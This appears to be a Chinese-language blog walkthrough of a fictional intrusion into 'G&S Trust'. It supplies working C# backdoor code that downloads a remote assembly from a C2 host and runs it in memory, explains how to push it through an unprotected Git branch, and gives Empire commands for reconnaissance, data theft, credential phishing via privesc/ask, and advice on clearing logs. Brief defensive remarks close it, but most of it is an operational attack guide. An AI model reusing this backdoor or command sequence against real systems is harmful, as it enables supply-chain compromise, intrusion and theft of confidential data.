渗透G&S Trust:从后门注入到数据猎取
1. 后门核心构建
为避免后续硬编码URL时引起怀疑,我们在健康检查可执行文件的名称中省略了
.exe
扩展名,并将该文件上传到C2服务器。接下来,回到Strat Accounting代码中的后门部分,编写
Custom_shape_ui
方法的主体。该方法的主要功能是初始化一个
WebClient
并下载健康检查可执行文件,具体代码如下:
using System.Net;
using System.Reflection;
static private void Custom_shape_ui()
{
// 用于存储程序集的字节数组
byte[] myDataBuffer = null;
// 使用系统注册的默认代理
System.Net.WebRequest.DefaultWebProxy.Credentials =
System.Net.CredentialCache.DefaultNetworkCredentials;
// 用于下载数据的经典WebClient对象
WebClient myWebClient = new WebClient();
try {
var url = "https://stratjumbo.co.au/health-check";
myDataBuffer = myWebClient.DownloadData(url);
}
catch { }
// 如果下载失败则返回
if (myDataBuffer == null) {
return;
}
// 反射式加载到内存中
Assembly a = Assembly.Load(myDataBuffer);
Type t = a.GetType("fud_stager.Program");
MethodInfo staticMethodInfo = t.GetMethod("Main");
staticMethodInfo.Invoke(null, null);
}
fud_stager
和
Program
分别是包含
Main
方法的命名空间和类。我们将近80行精心伪装的代码插入到可能有100,000行代码的代码库中,从外观上看几乎没有可疑之处。完整代码可在
assembly_backdoor.cs
中查看。
2. 劫持提交
后门的最终版本已准备好,接下来需要将这些代码偷运到Strat Accounting的代码库中。Strat Jumbo采用经典的同行评审流程,每个开发者在单独的Git分支上工作,代码完成后创建合并请求,需通过单元测试并得到同事批准才能合并到主分支。为避免严格审查,我们前往Strat Accounting代码库的GitLab页面,查看当前开放的分支。发现
G&S_TRUST
分支未标记为“受保护”,这意味着无需经过评审流程,任何开发者都可直接向该分支添加代码。于是,我们切换到该分支,使用GitLab的Web编辑器添加后门代码并提交。接下来就是等待,如果一切顺利,三到五周后就能获得访问权限。
3. 数据狩猎前奏
三周前,我们将额外的代码注入到Strat Accounting的下一个版本中。如果一切按计划进行,G&S Trust将在其机器上运行这个后门版本,我们就能获取其机密信息。期间,我们不时登录开发者的远程Citrix会话检查项目进度,发现新版本发布延迟了几天。我们的代码仍深埋在项目的原生代码中,除了被添加了一条注释外,未被修改。终于,一个周一的早晨,我们收到了C2服务器的第一个信标:
(Empire: agents) > [+] Initial agent 9USWTPY4 from 219.75.27.16 now active (Slack)
通过执行
sysinfo
命令,确认已成功入侵G&S Trust。通过
whois
命令得知触发后门的办公室可能在新加坡。随后,来自塞浦路斯、香港、马耳他和塞舌尔等地的机器也陆续连接,共有八台计算机与我们取得联系。
4. 侦察防御情况
在深入敌营之前,我们的首要目标是侦察。所有发出信标的系统似乎都是Windows 10机器,我们首先检查是否启用了MDE和ATA。
-
检查MDE
:使用
tasklist
命令查找名为
MsSense.exe
的进程:
(Empire) > interact 7S92RXMZ
(Empire: 7S92RXMZ) > shell tasklist /v | findstr /I sense
结果未发现相关进程。
-
检查ATA
:使用PowerView的
get_group
模块搜索名为“Microsoft Advanced Threat Analytics Administrators”的域组:
(Empire: 7S92RXMZ) > use powershell/situational_awareness/network/powerview/get_group
(Empire: get_group) > set LDAPFilter "(description=*Threat*)"
(Empire: get_group) > run
结果也未发现相关信息。
-
检查其他安全特性
:通过查看进程,发现这些机器运行的是Symantec Endpoint Protection 12.1版本,不支持AMSI。同时,查询
ScriptBlockLogging
和
SystemWide
转录注册表项,发现它们均未启用。
综上所述,我们获得了八台缺少最新安全特性的Windows 10机器的访问权限,可以进行更广泛的Active Directory侦察。
5. 收集情报
我们使用PowerView嵌入在Empire中的模块列出域组、用户、计算机、网络共享和组织单位(OU),具体操作如下:
(Empire: 7S92RXMZ) > usemodule powershell/situational_awareness/network/powerview/get_group
(Empire: get_group) > run
(Empire: 7S92RXMZ) > usemodule powershell/situational_awareness/network/powerview/get_user
(Empire: get_user) > run
(Empire: 7S92RXMZ) > usemodule powershell/situational_awareness/network/powerview/get_computer
(Empire: get_computer) > run
(Empire: 7S92RXMZ) > usemodule powershell/situational_awareness/network/powerview/share_finder
(Empire: share_finder) > run
(Empire: 7S92RXMZ) > usemodule powershell/situational_awareness/network/powerview/get_ou
(Empire: get_ou) > run
Empire会将所有命令、输出和下载的文件记录在
Empire/downloads/<agent_name>
文件夹中的
agent.log
文件中。通过审查这些列表,我们发现所有计算机和用户都属于同一个Active Directory域
gstrust.corp
,该域由四名全局域管理员管理,管理员账户大多遵循
admin.username
的命名约定。公司的域被划分为多个OU,业务组也按地区划分,这表明对Active Directory对象实施了严格的访问控制。
6. 数据猎取
目前收到的信标都来自各地区办公室的会计部门,理论上我们已可访问G&S Trust的所有会计信息。以香港地区为例,根据之前的数据,Yui是香港OU的会计,我们将其作为目标。在Yui的个人文件夹中,发现了
Taxes_2021
和
Accounting_2021
两个有趣的文件夹,通过下载其中的数据,我们获得了2021年以来香港地区150家公司的会计信息。进一步通过
net use
命令,找到了共享服务器上可追溯到2005年的会计信息。我们采用相同方法获取了塞浦路斯、马耳他、塞舌尔和新加坡等地的会计信息。这些会计数据包含了众多空壳公司的详细信息,但解析这些数据以确定挪用公款和其他可疑交易需要几个月时间,且我们仍缺少一些关键信息,如公司背后的真实人员和最终受益人身份。
为了获取更多信息,我们使用Empire的
share_finder
模块列出网络上的所有共享:
(Empire: 7S92RXMZ) > usemodule powershell/situational_awareness/network/powerview/share_finder
(Empire: share_finder) > run
结果显示,Yui的账户被拒绝访问大多数文件夹,仅能访问香港本地服务器上的会计文件夹,这表明G&S Trust实施了严格的访问规则,我们需要进行权限提升。
7. 权限检查
Empire会在管理员会话的用户名旁边标记一个小星号(*),Yui的账户没有该标记,且我们目前拥有的八个交互式会话均无本地管理员权限,更不用说域管理员权限。为了找出至少具有本地管理员权限的用户,我们在之前侦察阶段运行的
get_user
命令结果中查找
admincount
属性大于零的用户:
root@C2Server:7S92RXMZ/# grep -E -B2 "admincount \s+: 1" agent.log
发现几乎所有管理员账户都遵循
admin.username
的命名约定,其中包括之前确定的用户Sarah。我们在Sarah的计算机上有一个可用的Empire shell,但陷入了一个困境:可以使用Mimikatz获取Sarah的标准用户密码,但需要管理员权限;而获取管理员权限又需要Sarah的管理员用户密码。
为了摆脱这个困境,我们可以采取以下几种方法:
- 执行简单的键盘记录器,等待Sarah输入密码。
- 搜索她的个人文件,希望她将密码写在文本文件中。
- 直接询问她。
我们选择使用Empire的
privesc/ask
模块,该模块会弹出一个Windows对话框,要求输入提升权限的凭据。很多人会匆忙输入密码,我们通过以下操作尝试提升权限:
(Empire: agents) > list
(Empire:) > interact 672S4HKR
(Empire: 672S4HKR) > usemodule privesc/ask
(Empire: ask) > set Listener https_1
(Empire: ask) > run
最终成功提升权限,Empire代理自动获取了密码并创建了一个新的管理员会话。
整个过程的流程图如下:
graph LR
A[构建后门核心] --> B[劫持提交]
B --> C[等待信标]
C --> D[侦察防御]
D --> E[收集情报]
E --> F[数据猎取]
F --> G[权限检查]
G --> H[权限提升]
在这次渗透过程中,我们从构建后门开始,逐步获取了G&S Trust的访问权限,并收集了大量会计信息。然而,要完全揭开其背后的秘密,还需要进一步的工作和分析。同时,我们也遇到了权限限制等问题,通过巧妙的方法成功解决。在实际的安全工作中,企业应加强代码审查、分支保护和安全策略的实施,以防止类似的攻击。
渗透G&S Trust:从后门注入到数据猎取(续)
8. 权限提升后的行动
成功提升在Sarah计算机上的权限后,我们获得了本地管理员权限,这为进一步深入G&S Trust的系统打开了新的大门。接下来,我们可以尝试在整个网络中进行横向移动,扩大我们的控制范围。
首先,我们使用已有的管理员权限,在Sarah的机器上扫描本地网络,查找其他可利用的漏洞和可访问的资源。我们可以使用一些网络扫描工具,如Nmap,来发现网络中的其他设备和开放的端口:
(Empire: 672S4HKR) > shell nmap -sn 192.168.0.0/24
这个命令会对
192.168.0.0/24
网段进行主机发现扫描,找出在线的设备。根据扫描结果,我们可以进一步对感兴趣的设备进行深入探测。
同时,我们可以利用管理员权限,查看Sarah机器上的敏感文件和配置信息,可能会找到更多关于网络架构和其他用户账户的线索。例如,查看本地的注册表、系统日志和配置文件:
(Empire: 672S4HKR) > shell reg query HKLM\Software\Microsoft\Windows\CurrentVersion
(Empire: 672S4HKR) > shell type C:\Windows\System32\winevt\Logs\Security.evtx
9. 深入挖掘关键数据
在扩大了控制范围后,我们继续深入挖掘G&S Trust的关键数据。之前获取的会计信息虽然丰富,但还缺少一些核心的秘密,如公司背后的真实人员和最终受益人身份。我们将目标转向法律部门和人力资源部门的共享文件夹,因为这些地方可能存储着更关键的信息。
我们尝试使用提升后的权限访问之前被拒绝的共享文件夹,如Legal和HR:
(Empire: 672S4HKR) > shell net use \\GS-ML-02.gstrust.corp\Legal$ /user:admin.sarah password
(Empire: 672S4HKR) > shell net use \\GS-ML-02.gstrust.corp\HR$ /user:admin.sarah password
如果成功连接,我们就可以对这些文件夹进行详细的搜索和下载。例如,在Legal文件夹中,可能会找到公司的注册文件、合同和法律文书,这些文件可能包含公司背后真实人员的信息;在HR文件夹中,可能会有员工的档案和身份信息。
10. 数据整理与分析
随着我们获取的数据越来越多,需要对这些数据进行整理和分析。我们可以将下载的数据存储在本地的数据库中,使用数据分析工具进行处理。例如,使用Python的Pandas库来处理和分析会计数据:
import pandas as pd
# 读取会计数据文件
data = pd.read_csv('accounting_data.csv')
# 分析数据
net_income = data['Net Income'].sum()
expense_types = data['Expense Type'].unique()
print(f"总净收入: {net_income}")
print(f"费用类型: {expense_types}")
通过对数据的分析,我们可以进一步了解公司的财务状况、业务模式和可能存在的问题。同时,我们也可以使用数据挖掘技术,如关联分析和聚类分析,来发现数据中的隐藏关系和模式。
11. 风险评估与应对
在整个渗透过程中,我们始终面临着被发现的风险。G&S Trust可能会在任何时候发现我们的活动,并采取相应的措施来阻止我们。因此,我们需要对风险进行评估,并制定相应的应对策略。
- 被发现的迹象 :如果G&S Trust的安全团队发现了异常的网络流量、系统日志中的异常记录或用户的异常行为,可能会意识到他们的系统被入侵。
-
应对策略
:
- 隐藏踪迹 :在操作过程中,尽量避免留下明显的痕迹。例如,使用加密的通信协议、定期清理系统日志和临时文件。
- 快速行动 :在获取关键数据后,尽快撤离,避免长时间停留在系统中。
- 备份数据 :及时备份获取的数据,以防数据丢失或被删除。
12. 总结与展望
通过这次渗透行动,我们成功地获取了G&S Trust的大量会计信息和部分关键数据,但要完全揭开其背后的秘密,还需要进一步的工作和分析。在这个过程中,我们也展示了如何利用漏洞和权限提升来突破企业的安全防线。
从企业安全的角度来看,这次渗透行动也给我们敲响了警钟。企业应该加强代码审查、分支保护和安全策略的实施,以防止类似的攻击。同时,企业也应该定期进行安全评估和漏洞扫描,及时发现和修复潜在的安全问题。
未来,随着技术的不断发展,网络攻击的手段也会越来越复杂。我们需要不断学习和掌握新的技术和方法,以应对日益严峻的网络安全挑战。同时,我们也应该遵守法律法规,将技术用于合法的安全测试和防范工作中。
以下是我们在整个渗透过程中的关键步骤总结表格:
|步骤|操作内容|
| ---- | ---- |
|构建后门核心|编写
Custom_shape_ui
方法,下载并加载健康检查可执行文件|
|劫持提交|利用未受保护的
G&S_TRUST
分支,将后门代码提交到代码库|
|等待信标|等待G&S Trust运行后门版本,接收C2服务器的信标|
|侦察防御|检查系统是否启用MDE、ATA等安全特性|
|收集情报|列出域组、用户、计算机、网络共享和组织单位|
|数据猎取|定位并下载会计信息和其他关键数据|
|权限检查|查找具有本地管理员权限的用户|
|权限提升|使用
privesc/ask
模块提升权限|
|权限提升后行动|进行网络扫描和敏感文件查看|
|深入挖掘关键数据|尝试访问法律和人力资源部门的共享文件夹|
|数据整理与分析|使用数据分析工具处理和分析获取的数据|
|风险评估与应对|评估被发现的风险,制定应对策略|
整个渗透过程的详细步骤流程图如下:
graph LR
A[构建后门核心] --> B[劫持提交]
B --> C[等待信标]
C --> D[侦察防御]
D --> E[收集情报]
E --> F[数据猎取]
F --> G[权限检查]
G --> H[权限提升]
H --> I[权限提升后行动]
I --> J[深入挖掘关键数据]
J --> K[数据整理与分析]
K --> L[风险评估与应对]
通过这次渗透行动,我们不仅展示了一种可能的攻击路径,也为企业安全提供了宝贵的经验教训。希望企业能够从中吸取教训,加强自身的安全防护能力。
超级会员免费看

83

被折叠的 条评论
为什么被折叠?



